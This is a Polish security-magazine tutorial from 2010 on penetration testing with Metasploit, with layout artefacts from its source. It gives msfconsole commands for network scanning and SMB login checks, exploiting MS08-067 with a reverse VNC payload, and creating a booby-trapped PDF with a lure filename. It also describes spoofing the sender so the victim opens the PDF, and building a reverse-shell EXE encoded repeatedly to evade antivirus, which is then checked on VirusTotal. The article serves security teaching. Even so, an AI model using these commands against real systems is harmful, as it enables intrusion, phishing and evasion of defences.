ATAK WOJCIECH SMOL Metasploit w praktyce Stopień trudności Artykuł przedstawia krok po kroku wszystko to, co każdy zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć o testach penetracyjnych oraz metodach stosowanych przez komputerowych włamywaczy, ale bał się własnoręcznie sprawdzić... B Z ARTYKUŁU DOWIESZ SIĘ czym jest ofensywne bezpieczeństwo, na czym polegają testy penetracyjne, jakie praktyczne możliwości oferuje Metasploit Framework, w jaki sposób komputerowi włamywacze odkrywają luki w systemach informatycznych i w jaki sposób się do nich włamują. CO POWINIENEŚ WIEDZIEĆ znać podstawowe rodzaje ataków na systemy informatyczne, znać podstawy obsługi systemu Linux. 20 HAKIN9 3/2010 ezpieczeństwo proaktywne od dawna przestało być wyłącznie modnym sloganem nadużywanym przez służby marketingowe szeregu firm oferujących rozwiązania z zakresu bezpieczeństwa informatycznego. Wobec zagrożeń ewoluujących w rewolucyjnym tempie, zabezpieczenia proaktywne wydają się być jedynym sensowym sposobem na zapewnienie zadowalającego poziomu bezpieczeństwa infrastruktury informatycznej. Co więcej, w najbliższym przewidywalnym czasie, tego rodzaju zabezpieczenia nie będą miały żadnych godnych konkurentów. Ogólnie rzecz biorąc, bezpieczeństwo proaktywne skupia się na metodach mających zapobiec zaistnieniu skutecznych ataków (samym próbom ataków zapobiec nie możemy) na serwery, stacje robocze oraz sieci i wszelkie inne systemy komputerowe. Przykładem takiego systemu bezpieczeństwa jest NIPS (ang. Network Intrusion Prevention System), którego zadaniem jest nie tylko wyrycie ataku sieciowego, ale również zareagowanie na niego, np. poprzez zablokowanie adresu IP, z którego atak pochodzi. Proaktywnym działaniem jest jednak również... poczciwe instalowanie poprawek bezpieczeństwa, które również mogą nas przecież uchronić przed udanym (z punktu widzenia włamywacza) atakiem. Jednak nawet najbardziej ortodoksyjne łatanie wszystkich posiadanych systemów oraz stosowanie systemów wykrywania i przeciwdziałania włamaniom nie uchroni nas przed wszystkimi rodzajami ataków. Może się przecież zdarzyć, że dana podatność na atak jest już powszechnie znana, jednak producent dziurawego oprogramowania nie zdążył jeszcze opublikować stosownej poprawki. W związku z wszystkimi ograniczeniami tradycyjnych metod zabezpieczania systemów informatycznych, okazało się, że jedną z najskuteczniejszych metod obrony własnych zasobów jest... poddanie ich testowym atakom za pomocą narzędzi stosowanych przez włamywaczy! W ten oto sposób narodził się kolejny element bezpieczeństwa proaktywnego – bezpieczeństwo ofensywne (ang. Offensive Security). Atak najlepszą obroną Podejście defensywne do tematu bezpieczeństwa informatycznego (ang. Defensive Security) zakłada wdrażanie oraz pielęgnowanie systemów mających za zadanie przeciwdziałanie potencjalnym atakom na infrastrukturę danej organizacji. Przykładem defensywnego systemu może być dobrze znany od wielu lat system zapory sieciowej, chroniący wewnętrzną sieć oraz serwery przed atakami pochodzącymi z Internetu. Tego rodzaju system po wdrożeniu i skonfigurowaniu działa automatycznie, nie wymagając częstych zmian konfiguracyjnych. METASPLOIT W PRAKTYCE Czy jednak stosowane w danej organizacji systemy oraz procedury składające się na ogół bezpieczeństwa defensywnego są rzeczywiście w pełni skuteczne w obliczu najnowszych znanych ataków? Problem w tym, że nie poznamy odpowiedzi na powyższe pytanie, jeśli nie zastosujemy metod określanych ogólnie mianem bezpieczeństwa ofensywnego (ang. Offensive Security). Bezpieczeństwo ofensywne natomiast opiera się przede wszystkim na praktycznym sprawdzaniu bieżącego stanu bezpieczeństwa systemu teleinformatycznego. Praktycznym do tego stopnia, że wykorzystuje w swych testach narzędzia stosowane przez... komputerowych włamywaczy. Osoba zajmująca się ofensywnym bezpieczeństwem będzie więc szukać w testowanym systemie luk za pomocą skanera Nessus, czy też określać widoczność komputerów oraz ich usług za pomocą skanera nmap. Najciekawszą część takiego przedsięwzięcia będą jednak stanowić testy penetracyjne. Testy penetracyjne stanowią metodę oceny bezpieczeństwa systemu informatycznego poprzez symulowanie prawdziwych ataków mogących pochodzić od potencjalnych włamywaczy. Tester (zwany często etycznym hakerem lub pentesterem), korzystając z prawdziwych narzędzi umożliwiających wykonanie udanego włamania, próbuje przełamać zabezpieczenia testowanego systemu. Dopiero tego rodzaju testy są w stanie odpowiedzieć na pytanie, czy dany system informatyczny jest rzeczywiście odporny na znane obecnie rodzaje ataków. Tego rodzaju działania, polegające na wykonywaniu testowych włamań do własnych systemów (lub cudzych, za pełną zgodą uprawnionych administratorów oraz właścicieli) będą stanowić z pewnością fascynującą przygodę dla wszystkich osób zainteresowanych bezpieczeństwem informatycznym. Pozwoli nam to również na lepsze zrozumienie tego, w jaki sposób komputerowym włamywaczom udaje się przełamywać zabezpieczenia kolejnych systemów. Profesjonalne przeprowadzenie testów penetracyjnych, zakończone utworzeniem szczegółowego raportu na temat wszystkich odkrytych zagrożeń wraz z proponowanymi krokami zabezpieczającymi, może się wiązać z koniecznością wynajęcia firmy specjalizującej się w tego typu usługach. Należy jednak pamiętać, że tego rodzaju testy musiałyby być przeprowadzane okresowo. Można również rozważyć zastosowanie zautomatyzowanego narzędzia stworzonego specjalnie do tego rodzaju testów. Za najlepszy tego rodzaju system uznaje się powszechnie Core Impact firmy Core Security Technologies. Narzędzie to jest w stanie za pomocą ogromnej bazy komercyjnych exploitów automatycznie atakować i przejmować kontrolę nad testowanymi komputerami. Core Impact zdolny jest nawet do wykonywania kolejnych ataków z poziomu przejętych już maszyn. Niestety, za tak rozbudowaną i zautomatyzowaną funkcjonalność trzeba jednak zapłacić grube tysiące dolarów. Na szczęście, w 2004 roku powstał darmowy oraz otwarty (open source) projekt Metasploit Framework, pozwalający każdemu zainteresowanemu na zgłębienie fascynującego świata etycznego hakingu. Metasploit Framework pozwala nie tylko na używanie zawartych w nim w sposób modularny exploitów, ale również na tworzenie oraz testowanie własnych lub przerabianie tych już istniejących. Można więc powiedzieć, że możliwości przeprowadzania testów penetracyjnych za pomocą środowiska Mestasploit są nawet większe niż w przypadku rozwiązań komercyjnych. Wszystko to jest oczywiście okupione brakiem daleko posuniętego zautomatyzowania testu. Pod pewnym względem jest to jednak zaletą, gdyż ręczne konfigurowanie exploitów, payloadów (programów wykonywanych w przejętym systemie po udanym włamaniu testowym) oraz całego środowiska pracy testera przyczyni się z pewnością do lepszego zrozumienia wszystkich aspektów przeprowadzanych włamań testowych. Praktyka czyni mistrza! Moim celem nie jest omówienie wszystkich, niezliczonych możliwości środowiska Metasploit. Nie będę się również zajmował istniejącymi metodologiami przeprowadzania testów penetracyjnych, takimi jak OSSTMM (ang. Open Source Security Testing Methodology Manual). Niniejszy artykuł stanowi więc zaledwie wprowadzenie do tematu testów penetracyjnych z wykorzystaniem środowiska Metasploit Framework, w postaci kilku praktycznych przykładów ataków testowych. Prawie wszystkie osoby zainteresowane bezpieczeństwem informatycznym słyszały bowiem o projekcie Metasploit, ale tylko nieliczni widzieli jego możliwości w praktyce. Takie praktyczne przykłady najlepiej więc zilustrują możliwości całego środowiska oraz zachęcą zainteresowane osoby do dalszego zgłębiania tego niezwykle ciekawego tematu. Jako środowisko pracy z Metasploit Framework polecam dystrybucję Linux LiveCD BackTrack 4. Ta jedna z najbardziej cenionych przez osoby, zajmujące się ofensywnym bezpieczeństwem, dystrybucja zawiera dziesiątki wbudowanych oraz skonfigurowanych do pracy narzędzi wykorzystywanych przez pentesterów, takich jak właśnie środowisko Metasploit. Dysponując więc systemem BackTrack, możemy od razu rozpocząć naszą przygodę z testami penetracyjnymi. Po uruchomieniu systemu (domyślne poświadczenia: root/toor) BackTrack musimy przede wszystkim skonfigurować interfejs sieciowy. W celu automatycznego pobrania konfiguracji z serwera DHCP przyda się polecenie dhclient . Zanim przystąpimy do pracy ze środowiskiem Metasploit, warto wiedzieć, że w jego ramach istnieje kilka różnych interfejsów użytkownika, a mianowicie: • • • msfconsole, msfcli, msfgui, msfweb. 3/2010 HAKIN9 21 ATAK Każdy z wymienionych interfejsów posiada zarówno wady, jak i zalety. Jednakże msfconsole jest środowiskiem najbardziej stabilnym, najczęściej aktualizowanym oraz pozwalającym na dostęp do praktycznie wszystkich funkcji oferowanych przez środowisko Metasploit. Z tego powodu, w dalszych rozważaniach skupimy się wyłącznie na tym interfejsie. W systemie BackTrack 4, dostęp do msfconsole uzyskamy wykonując (będąc w katalogu /pentest/exploits/framework3/ ) polecenie ./msfconsole lub też wybierając z głównego systemowego menu opcję Backtrack/Penetration/Framework Version 3/msfconsole. Środowisko msfconsole pozwala na wykonywanie zewnętrznych poleceń, możemy więc przykładowo wywołać polecenie ping -c 1 hakin9.org. W celu uzyskania pomocy wystarczy skorzystać z poleceń help lub ?. Msfconsole oferuje również opcję uzupełniania wprowadzanych poleceń, dostępną za pomocą przycisku Tab. Jednym z najbardziej przydatnych poleceń, które musimy poznać, jest komenda show. Pozwala ona na wyświetlenie wszystkich modułów obecnych w środowisku Metasploit. Nie mniej przydatne będą również pozostałe komendy z rodziny show: • • • • • Ponadto, poszczególne komendy zwracają wyniki dostosowane do bieżącego wyboru użytkownika. Przykładowo polecenie show payloads wyświetli wyłącznie payloady odpowiednie dla bieżącego modułu exploitu. Inne komendy, jakie należy sobie przyswoić przed rozpoczęciem skutecznych testów penetracyjnych, to: show auxiliary – wyświetlenie modułów pomocniczych (takich jak skanery, moduły ataków DoS i inne), • • • • • • • • search – wbudowana funkcja wyszukiwania w oparciu o wyrażenia regularne, info – wyświetlenie szczegółowych informacji o danym module, use – wybór danego modułu do dalszego działania, • • • • Rysunek 1. Konsola msfconsole w systemie BackTrack Linux LiveCD 22 HAKIN9 3/2010 connect – podłączenie się do zdalnego hosta o określonym w parametrach adresie IP oraz porcie, set – ustawianie wartości parametrów dla bieżącego modułu, check – sprawdzenie podatności docelowego systemu na bieżący moduł, setg – ustawienie zmiennej globalnej w środowisku msfconsole, exploit – uruchomienie bieżącego exploitu, run – uruchomienie bieżącego modułu pomocniczego, back – wyjście z trybu bieżącego modułu. Ten niewielki zbiór przedstawionych powyżej poleceń, pozwala nam już na rozpoczęcie pełnoprawnych testów penetracyjnych. Warto jeszcze tylko zapamiętać sobie typowe kroki, które należy wykonać, w celu wykonania udanego włamania testowego za pomocą środowiska Metasploit, są to kolejno: • • • • show exploits – wyświetlenie wszystkich dostępnych exploitów, show payloads – wyświetlenie wszystkich dostępnych payloadów (programów wykonywanych w docelowym systemie po udanym włamaniu testowym), show options – wyświetlenie wszystkich opcji dostępnych w ramach bieżącego modułu, show targets – wyświetlenie listy systemów podatnych na działanie bieżącego modułu, show advanced – wyświetlenie zaawansowanych opcji dostępnych w ramach bieżącego modułu. wybór oraz konfiguracja odpowiedniego exploitu (kodu będącego w stanie spenetrować docelowy system, wykorzystując do tego jedną ze znajdujących się w nim luk), sprawdzenie, czy docelowy system jest podatny na działanie wybranego exploitu (opcjonalnie), wybór oraz konfiguracja odpowiedniego payloadu (kodu wykonywanego w spenetrowanym systemie po udanym wykonaniu się exploitu), wybór metody kodowania payloadu (opcjonalnie, kodowanie ma na celu uniknięcie wykrycia ataku przez systemy takie jak IDS), wykonanie właściwego ataku testowego. Zanim jednak zaczniemy na dobre, zaktualizujmy jeszcze całe środowisko Metasploit za pomocą polecenia svn update. W jego wyniku rozpocznie się automatyczny proces aktualizacyjny, dzięki któremu do dyspozycji otrzymamy wszystkie najnowsze, dostępne na METASPLOIT W PRAKTYCE obecną chwilę moduły. Wyposażeni w odpowiednią wiedzę oraz broń załadowaną najnowszą amunicją możemy wreszcie przystąpić do ataku. Rekonesans Pierwszym etapem działania komputerowego włamywacza planującego zaatakowanie danej infrastruktury informatycznej jest zawsze rekonesans. Jest to zespół metod technicznych, ale również socjotechnicznych, mający na celu pozyskanie wszelkich dostępnych informacji na temat atakowanej infrastruktury oraz zarządzającego nią personelu. Najczęściej stosowane na etapie rekonesansu narzędzia, to między innymi: najrozmaitsze skanery portów i usług, Open source intelligence (zdobywania informacji wywiadowczych z ogólnie dostępnych źródeł, np. z pomocą techniki Google Hacking), wyciąganie danych zawartych w systemach DNS, itp. Temat rekonesansu omówiłem szczegółowo w artykule Rozpoznanie przed atakiem opublikowanym na łamach magazynu hakin9 07/2009. Celem takiego wywiadu jest oczywiście określenie jakiego rodzaju system operacyjny, usługi serwerowe, programy itd. pracują na serwerach, stacjach roboczych oraz specjalizowanych urządzeniach (takich jak sprzętowe systemy NIDS) w docelowej infrastrukturze. Dopiero uzyskanie takiej wiedzy pozwoli włamywaczowi na zaatakowanie konkretnych systemów i usług za pomocą przeznaczonych specjalnie dla nich exploitów. Testy penetracyjne symulujące działanie prawdziwych włamywaczy również muszą rozpocząć się od zebrania podobnych informacji o testowanej infrastrukturze. Takie działanie pozwoli następnie na testowanie konkretnych systemów za pomocą wyłącznie odpowiednich modułów. Nie ma przecież żadnego sensu testowanie serwera pracującego pod kontrolą Linuksa za pomocą exploitu stworzonego dla systemów Windows. Środowisko Metasploit Framework oczywiście w pełni wspiera etap rekonesansu, przede wszystkim w postaci szeregu modułów pomocniczych (ang. Auxiliary Modules). Przykładowo, chcąc odnaleźć moduły pozwalające na skanowanie portów, wystarczy skorzystać z polecenia search portscan. Większość modułów pomocniczych, a w szczególności wszystkie skanery, mogą zostać (za pomocą opcji RHOSTS ) skonfigurowane do pracy z całymi zakresami adresów IP zapisanymi w postaci 192.168.10.10192.168.10.20 lub też za pomocą zapisu CIDR (np. 192.168.10.0/24). Możliwe jest również podawanie kilku zakresów (np. 192.168.10.0/24, 192.168.20.0/24). Przeskanujmy więc sieć 192.168.0.0/ 24 w poszukiwaniu maszyn o otwartym porcie 80. W tym celu w środowisku msfconsole wystarczy wykonać następujące polecenia: • • • • • use scanner/portscan/syn (wybór oraz wejście w tryb konfiguracji modułu skanera syn), show options (wyświetlenie wszystkich opcji dostępnych w ramach wybranego skanera), set INTERFACE eth0 (wybranie systemowego interfejsu sieciowego), set PORTS 80 (ustawienie numeru portów do przeskanowania), set RHOSTS 192.168.0.0/24 (ustawienie zakresu adresów IP do przeskanowania), • • set THREADS 10 (ustawienie liczby współbieżnych wątków skanowania), run (uruchomienie właściwego skanowania). W efekcie otrzymamy listę adresów o otwartych portach nr 80, w następującej postaci: [*] TCP OPEN 192.168.0.1:80 [*] TCP OPEN 192.168.0.150:80 [*] Auxiliary module execution completed Załóżmy teraz, że naszym celem jest ustalenie wersji systemów Windows oraz wersji serwerów Samba pracujących na maszynach Unix/ Linux w sieci 192.168.1.0/24. Zadanie to z pozoru wydaje się już być nieco bardziej skomplikowane od swego poprzednika. W rzeczywistości w celu uzyskania pożądanych wyników, wystarczy tylko ponownie skorzystać z odpowiedniego modułu Metaspoloit (scanner/smb/version)! Tym razem procedura będzie więc wyglądać następująco: • • use scanner/smb/version (wybór oraz wejście w tryb konfiguracji modułu skanera smb/version), set RHOSTS 192.168.1.0/24 (ustawienie zakresu adresów IP do przeskanowania), Rysunek 2. Exploit ms08_067_netapi w akcji – sesja VNC do systemu Windows XP została nawiązana 3/2010 HAKIN9 23 ATAK • [*] IsClustered = No [*] ServerName = ZHAKUJMNIE-0 [*] Auxiliary module execution completed • Metasploit Framework udostępnia wiele równie interesujących modułów, przydatnych na etapie rekonesansu. Z najciekawszych i najczęściej wykorzystywanych warto jeszcze wymienić: • [*] 192.168.1.10 is running Windows 7 Enterprise (Build 7600) (language: Unknown) [*] 192.168.1.126 is running Unix Samba 3.0.22 (language: Unknown) [*] 192.168.1.161 is running Windows 2003 R2 Service Pack 2 (language: Unknown) [*] 192.168.1.221 is running Windows XP Service Pack 3 (language: English) [*] Auxiliary module execution completed • • • Co natomiast możemy zrobić, jeśli chcielibyśmy odnaleźć serwery MSSQL (nawet te korzystające z dynamicznego portu TCP) pracujące w danej sieci? Oczywiście ponownie wystarczy tylko skorzystać z odpowiedniego modułu środowiska Metasploit! Tym razem będzie to moduł scanner/mssql/ mssql_ping, a cała procedura wygląda następująco: • • set THREADS 50 (ustawienie liczby współbieżnych wątków skanowania), run (uruchomienie właściwego skanowania). W efekcie otrzymamy listę adresów wraz z oczekiwanymi informacjami o wersjach systemów Windows oraz serwerach Samba, w następującej postaci: • • • • use scanner/mssql/mssql_ping (wybór oraz wejście w tryb konfiguracji modułu skanera mssql/ mssql_ping), set RHOSTS 192.168.1.0/24 (ustawienie zakresu adresów IP do przeskanowania), set THREADS 50 (ustawienie liczby współbieżnych wątków skanowania), run (uruchomienie właściwego skanowania). W efekcie otrzymamy listę odnalezionych serwerów MSSQL wraz z szeregiem informacji na ich temat, przykładowo: [*] SQL Server information for 192.168.1.250: [*] tcp = 1433 [*] np = ZHAKUJMNIE-0pipesqlquery [*] Version = 8.00.194 [*] InstanceName = MSSQLSERVER 24 HAKIN9 3/2010 • • scanner/ip/ipidseq (skanowanie Idle), scanner/ssh/ssh_version (wykrywanie wersji serwera SSH), scanner/ftp/anonymous (wykrywanie serwerów FTP zezwalających na anonimowe zalogowanie użytkownika), scanner/snmp/community (wykrywanie domyślnych ustawień community strings dla urządzeń zarządzanych za pomocą protokołu SNMP), auxiliary/sniffer/psnuffle (moduł będący w stanie podsłuchiwać hasła używane w protokołach pop3, imap, ftp, oraz HTTP. Oferuje funkcjonalność podobną do programu Dsniff.). Na etapie rekonesansu, warto również skorzystać z modułu scanner/vnc/vnc_ none_auth, który pozwala na wykrycie serwerów VNC niezabezpieczonych żadnym hasłem. Wykorzystanie tego prostego w obsłudze skanera (praktycznie wystarczy tylko ustawić zakres adresów IP do przeskanowania) może dać bardzo zaskakujące rezultaty. Może się bowiem okazać, że już na etapie rekonesansu uda nam się uzyskać pełny dostęp do graficznego środowiska niektórych maszyn pracujących w testowanej infrastrukturze! Warto również wiedzieć o istnieniu skanera będącego w stanie wyszukać wszystkie zasoby udostępnione za pomocą protokołu SMB i chronione za pomocą określonych poświadczeń. Jeśli więc znamy kombinację nazwy użytkownika oraz hasła aktywną na jednej z maszyn lub podejrzewamy, że dane poświadczenia mogą być gdzieś w testowanej sieci wykorzystywane do udostępniania zasobów, możemy skorzystać z następującej procedury: • • • use auxiliary/scanner/smb/ login (wybór oraz wejście w tryb konfiguracji modułu skanera smb/ login), set RHOSTS 192.168.1.0/24 (ustawienie zakresu adresów IP do przeskanowania), set SMBUser uzytkowniksmb (ustawienie prawdopodobnej nazwy użytkownika), set SMBPass haslouzytkownika (ustawienie prawdopodobnego hasła użytkownika), set THREADS 50 (ustawienie liczby współbieżnych wątków skanowania), run (uruchomienie właściwego skanowania). W efekcie otrzymamy listę adresów wraz z informacją, czy testowane poświadczenia pozwoliły na dostęp do zasobów udostępnianych poprzez protokół SMB, przykładowo: [*] 192.168.1.14 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.45 - FAILED 0xc000006d - STATUS_LOGON_FAILURE [*] 192.168.1.216 - SUCCESSFUL LOGIN (Unix) [*] Auxiliary module execution completed Jak widać z powyższych przykładów, Metasploit Framework udostępnia funkcje w niczym nie ustępujące tak znanym programom jak Nmap, czy też Nessus, a to dopiero zaledwie początek jego możliwości! Właściwy atak testowy Przeprowadzony rekonesans pozwolił nam na zebranie podstawowych informacji na temat poszczególnych systemów pracujących w testowanej infrastrukturze. Na tym etapie powiśmy już więc znać: • • • adresy IP poszczególnych maszyn i urządzeń, numery otwartych portów TCP/UDP dla poszczególnych adresów IP, rodzaje oraz wersje systemów operacyjnych pracujące na poszczególnych maszynach/ urządzeniach, METASPLOIT W PRAKTYCE • • usługi serwerowe (serwery WWW, pocztowe, bazodanowe itd.) dostępne pod konkretnymi adresami IP, podstawowe błędy konfiguracyjne poszczególnych maszyn (takie jak obecność niezabezpieczonych serwerów VNC, otwarte udziały SMB, itd.). Dysponując tego rodzaju wiedzą, możemy przejść do właściwych testów penetracyjnych, czyli za pomocą odpowiednio dobranych exploitów sprawdzić rzeczywistą podatność testowanych systemów na poszczególne ataki. Jako przykład testu penetracyjnego z prawdziwego zdarzenia, spróbujemy przejąć pełną kontrolę nad systemem Windows XP za pomocą exploitu windows/smb/ms08_067_netapi. Moduł ten jest w stanie wykorzystać krytyczny błąd w zabezpieczeniach usługi Serwer (Biuletyn zabezpieczeń firmy Microsoft MS08-067) obecny w wielu systemach z rodziny Windows i pozwalający na zdalne wykonanie kodu. Warunkiem udanego włamania testowego jest brak w docelowym systemie poprawki bezpieczeństwa KB921883. Jako payload wykorzystamy moduł windows/ vncinject/reverse_tcp. W wyniku udanego testu otrzymamy więc w pełni funkcjonalną sesję VNC pozwalającą na swobodne zarządzanie docelowym systemem. Procedura testu wygląda następująco: • • • • use windows/smb/ms08_067_ netapi (wybór oraz wejście w tryb konfiguracji modułu exploitu ms08_ 067_netapi), set RHOST 192.168.0.71 (ustawienie adresu IP systemu poddawanego testowi), set target 0 (ustawienie automatycznego wyboru celu – automatyczne dostosowanie się exploitu do wersji systemu Windows pracującego na docelowym komputerze), set payload windows/vncinject/ reverse_tcp (wybór oraz wejście w tryb konfiguracji modułu payloadu vncinject/reverse_tcp), • • set lhost 192.168.0.100 (ustawienie adresu IP systemu pentestera, z którym payload ma nawiązać połączenie reverse VNC), exploit . W efekcie otrzymamy sesję VNC, za pomocą której możemy zarządzać zdalnym systemem! W podobny sposób możemy testować bezpieczeństwo innych systemów operacyjnych oraz usług pracujących w docelowej infrastrukturze. Na etapie rekonesansu odnaleźliśmy za pomocą wspomnianego już skanera mssql_ping serwer MSSQL? Pora na sprawdzenie jego zabezpieczeń za pomocą odpowiednich exploitów. W celu odnalezienia odpowiednich modułów wystarczy skorzystać z polecenia search mssql. W wyniku otrzymamy kilka modułów, między innymi windows/ mssql/mssql_payload. Za pomocą polecenia info windows/mssql/mssql_ payload uzyskamy więcej informacji na temat wybranego modułu. Show options pozwoli natomiast na wyświetlenie wszystkich dostępnych opcji i w efekcie uruchomienie modułu przeciwko wybranej maszynie. Tego rodzaju podejście stanowi właśnie o sile Metasploit Framework! Otrzymujemy bowiem kilkaset exploitów stworzonych przez różnych autorów, jednakże każdy z modułów dostępny jest za pomocą wspólnego interfejsu, wyposażony jest w podobne opcje konfiguracyjne i może być szybko odnaleziony za pomocą prostej kwerendy. Początkujący pentester musi więc tylko opanować podstawowe polecenia msfconsole i przebrnąć przez kilka pierwszych ataków testowych, a dalsza praca z Metaspoloit Framework powinna być już tylko czystą przyjemnością! Nie tylko exploity Oprócz typowych exploitów będących w stanie w sposób zautomatyzowany wykorzystywać luki w oprogramowaniu Rysunek 3. Tylko 7 z 41 silników antywirusowych rozpoznało payload zakodowany przez msfencode 3/2010 HAKIN9 25 ATAK ofiary, Metasploit pozwala także na przeprowadzania ataków wymagających interwencji ze strony użytkownika docelowego systemu. Tego rodzaju ataki zyskują coraz większą popularność i nic nie stoi na przeszkodzie, by uwzględnić je w procedurze testów penetracyjnych. Przykładowo moduł adobe_utilprintf pozwala na wygenerowanie pliku PDF, który po uruchomieniu przez użytkownika na docelowej maszynie pozwoli nam na przejęcie kontroli nad systemem ofiary. W celu wykonania takiego ataku testowego wystarczy tylko skorzystać z następującej procedury: • • • • • • use exploit/windows/fileformat/ adobe_utilprintf (wybór oraz wejście w tryb konfiguracji modułu adobe_ utilprintf ), set FILENAME ZarzadzeniePrezesa.pdf (ustawienie nazwy pliku zachęcającej do jego otwarcia), set PAYLOAD windows/meterpreter/ reverse_tcp (wybór payloadu, który ma zostać uruchomiony poprzez złośliwy plik PDF), set LHOST 192.168.10.128 (ustawienie adresu komputera mającego uzyskać dostęp do komputera ofiary), set LPORT 4455 (ustawienie portu, na którym ma się odbyć połączenie), exploit (wygenerowanie pliku PDF). W wyniku otrzymamy (domyślnie w katalogu /pentest/exploits/framework3/ data/exploits) specjalnie spreparowany plik ZarzadzeniePrezesa.pdf. Zanim prześlemy nasz plik docelowemu użytkownikowi, przygotujemy sobie jeszcze moduł, który będzie zdolny do obsłużenia połączenia z naszą ofiarą. Oczywiście ponownie posłużymy się środowiskiem msfconsole : • • use exploit/multi/handler (wybór oraz wejście w tryb konfiguracji modułu handler), set PAYLOAD windows/meterpreter/ reverse_tcp (informacja dla hanldera odnośnie tego z jakim payloadem połączenia ma się spodziewać), 26 HAKIN9 3/2010 • • • set LPORT 4455, set LHOST 192.168.10.128, exploit . W tym momencie dysponujemy już listenerem oczekującym połączenia. Teraz wystarczy już tylko przesłać potencjalnej ofierze plik ZarzadzeniePrezesa.pdf. Jeśli wiadomość e-mail będzie wystarczająco przekonywująca (możemy przecież w stosunkowo prosty sposób podrobić nadawcę wiadomości e-mail tak, by nadawcą było np. konto pocztowe używane przez biuro zarządu; może nam do tego celu posłużyć dostępny w środowisku BackTrack skrypt sendEmail) użytkownik docelowego systemu prawdopodobnie otworzy nasz plik. Jeśli tylko na komputerze znajduje się oprogramowanie Adobe Reader 8.1.2 (wersja podatna na błąd przepełnienia bufora, który wykorzystuje wybrany przez nas moduł), to pentester uzyska dostęp do docelowego komputera za pomocą następującej konsoli: session[*] Meterpreter session 1 opened (192.168.10.128:4455 -> 192.168.10.160:49322) meterpreter > Zwróćmy jeszcze uwagę na kilka szczegółów. Warto (tak jak to pokazano w powyższym przykładzie) zmieniać domyślną wartość zmiennej LPORT (4444), gdyż port 4444, ze względu właśnie na domyślne wykorzystanie w wielu modułach Metasploit, może być w niektórych organizacjach szczególnie monitorowany lub po prostu blokowany. Payloady typu reverse (takie, które nawiązują połączenie z przejętej maszyny do komputera pentestera) mają szczególną szansę na powodzenie. Wynika to z faktu, że ewentualne systemy typu firewall obecne w docelowym systemie, będą zazwyczaj bardziej skłonne do zezwolenia na połączenia wychodzące z systemu niż te do niego przychodzące. Metasploit daje nam również możliwość łatwego wygenerowania wykonywalnego pliku EXE na podstawie wybranego payloadu. Przykładowo w celu wygenerowania pliku EXE w oparci o payload shell_reverse_tcp wystarczy tylko w wierszu poleceń systemu BackTrack (będąc w katalogu /pentest/exploits/framework3) wykonać następujące polecenie: ./msfpayload windows/shell_reverse_tcp LHOST=192.168.10.128 LPORT=4455 X > /tmp/program.exe. Plik program.exe, który powstał w wyniku powyższego polecenia w katalogu /tmp może następnie zostać użyty do ataku socjotechnicznego, zachęcającego użytkownika zdalnego systemu do jego uruchomienia. Jeśli tylko użytkownik docelowego systemu uruchomi tak spreparowany plik, udostępni tym samym pentesterowi dostęp do własnego systemu za pomocą zdalnego wiersza poleceń. Tester, w celu odebrania zdalnego połączenia, będzie musiał jeszcze tylko skonfigurować moduł exploit/multi/ handler w sposób analogiczny do procedury przedstawionej w poprzednim przykładzie (zmianie ulegnie jedynie parametr set payload windows/shell/ reverse_tcp, co pozwoli na odebranie połączenia od zawartego w pliku EXE payloadu shell/reverse_tcp). Tak przygotowany plik EXE będzie spełniał swoje zadania, jednak istnieje duże prawdopodobieństwo, że zostanie wykryty jako złośliwe oprogramowanie przez program antywirusowy działający w docelowym systemie. Jednak i z tym możemy sobie poradzić z pomocą środowiska Metasploit! Nasz plik wykonywalny może bowiem zostać zakodowany za pomocą dostępnego w ramach Metasploit polecenia msfencode. W celu wyświetlenia dostępnych technik kodowania, możemy wywołać z poziomu wiersza poleceń systemu BackTrack (będąc w katalogu /pentest/exploits/ framework3) komendę ./msfencode -l. Spośród wielu dostępnych technik kodowania wybierzemy doskonały moduł x86/shikata_ga_nai. Ostatecznie, polecenie generujące zakodowany plik wykonywalny będzie miało następującą postać: ./msfpayload windows/shell_ reverse_tcp LHOST=192.168.10.128 LPORT=4455 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/ program2.exe. Istnieje możliwość, że METASPLOIT W PRAKTYCE mimo takiego kodowania, program antywirusowy nadal będzie w stanie wykryć zagrożenie. W celu uzyskania jeszcze większej niewykrywalności, można jednak zastosować jednoczesne kodowanie za pomocą kilku metod oraz kilku przebiegów stosując w powyższym poleceniu np. taki zestaw parametrów kodowania: ./msfencode -e x86/shikata_ga_nai -t raw -c 5 | ./ msfencode -e x86/call4_dword_xor -t raw -c 5 | ./msfencode -e x86/countdown. W efekcie otrzymamy więc plik zakodowany pięciokrotnie modułami x86/shikata_ ga_nai i x86/call4_dword_xor oraz jednokrotnie modułem x86/countdown. Taki plik będzie stanowił prawdziwe wyzwanie dla popularnych programów antywirusowych! Pentester korzystający z kodowanych w ten sposób plików, może w prosty sposób za pomocą dostępnej online usługi Virustotal sprawdzić ich odporność na wykrycie przez kilkadziesiąt popularnych programów antywirusowych. Wystarczy tylko załadować zakodowany plik poprzez formularz dostępny pod adresem http://www.virustotal.com/pl/. Po chwili plik zostanie przeskanowany przez kilkadziesiąt popularnych silników antywirusowych, a wyniki zostaną zaprezentowane w postaci czytelnej tabeli. Przykładowo, plik program2.exe otrzymany w wyniku jednokrotnego kodowania metodą shikata_ga_nai został oznaczony jako złośliwe oprogramowanie przez zaledwie 7 z 41 silników antywirusowych dostępnych w ramach VirusTotal. Trudno jest choćby tylko wymienić wszystkie inne ciekawe moduły zawarte w środowisku Metasploit. Warto jednak na koniec wspomnieć jeszcze, że Framework ten wspiera również działania mające na celu utrzymanie dostępu do przejętego systemu (np. poprzez instalację w docelowym systemie keyloggera, programu typu backdoor, itp.) oraz wykonywanie z jego poziomu dalszych testów penetracyjnych. Wszystkie inne moduły działają w oparciu o podobny interfejs oraz podobną filozofię, nic nie stoi więc na przeszkodzie, by każdy zainteresowany mógł już dalej na własną rękę odkrywać fascynujące możliwości środowiska Metaspolit! Podsumowanie Po zapoznaniu się z przedstawionymi praktycznymi przykładami, z pewnością nikt już nie wątpi, że Metasploit Framewok to coś więcej niż środowisko do przeprowadzania testów penetracyjnych. Jest to prawdziwy kombajn pozwalający na realistyczne odzwierciedlenie wszystkich typów ataków stosowanych przez komputerowych włamywaczy, począwszy od etapu zbierania informacji o docelowym systemie, a skończywszy na zaawansowanych atakach wymagających interakcji z użytkownikiem docelowego systemu. Metasploit Framework to jednak nie tylko 481 exploity oraz 253 payloady (dane z wersji 3.3.3 r7924) oddane W Sieci • • • • • • • • • 